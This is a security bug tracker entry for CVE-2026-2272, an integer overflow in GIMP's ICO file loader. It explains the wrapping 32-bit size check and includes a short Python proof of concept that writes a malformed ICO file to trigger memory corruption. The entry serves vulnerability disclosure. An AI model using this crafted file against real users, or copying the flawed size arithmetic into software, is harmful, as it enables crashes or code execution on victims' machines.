Bug 2438428 (CVE-2026-2272) - CVE-2026-2272 gimp: GIMP: Memory corruption due to integer overflow in ICO file handling

Keywords: Security

Status: NEW

Alias: CVE-2026-2272

Product: Security Response

Component: vulnerability

Version: unspecified

Hardware: All

OS: Linux

Priority: medium

Severity: medium

Target Milestone: ---

Assignee: Product Security DevOps Team

QA Contact:

Docs Contact:

URL:

Whiteboard:

Depends On: ~~2438431~~

Blocks:

TreeView+ depends on / blocked

Reported: 2026-02-10 09:28 UTC by OSIDB Bzimport

Modified: 2026-02-10 09:51 UTC (History)

CC List: 0 users

Fixed In Version:

Clone Of:

Environment:

Last Closed:

Embargoed:

Attachments (Terms of Use)

OSIDB Bzimport 2026-02-10 09:28:54 UTC Description

```
Summary
ico_read_info sizes the image and buf from ICO directory entry
dimensions, but ico_read_icon trusts BITMAPINFOHEADER
width/height for decoding, creating a mismatch when header
dimensions are larger. The size guard data.width * data.height
* 2 > maxsize is evaluated in 32-bit guint32 and can wrap,
letting oversized headers pass like this:

if (data.width * data.height * 2 > maxsize) { /* ... */ }


Decode loops then use large w/h and write past the buffer
sized from the entry, and ico_alloc_map uses gint length math
```

```
that can overflow for xor_map/and_map when dimensions are
huge.

Proof-of-concept

import struct

hdr = struct.pack("<HHH", 0, 1, 1)

# IcoFileEntry: width=1, height=1, colors=0, reserved=0,
planes=1, bpp=32,
# size=40, offset=22
entry = struct.pack("<BBBBHHII", 1, 1, 0, 0, 1, 32, 40, 22)

# BITMAPINFOHEADER: header_size=40, width=0x00100000,
height=0x00200000
# (ICO height is doubled)
width = 0x00100000
height = 0x00200000
bmp = struct.pack("<IIIHHIIIIII",
                  40, width, height, 1, 32, 0, 0, 0, 0, 0, 0)

open("poc_1.ico", "wb").write(hdr + entry + bmp)
```

Note

You need to log in before you can comment on or make changes to this bug.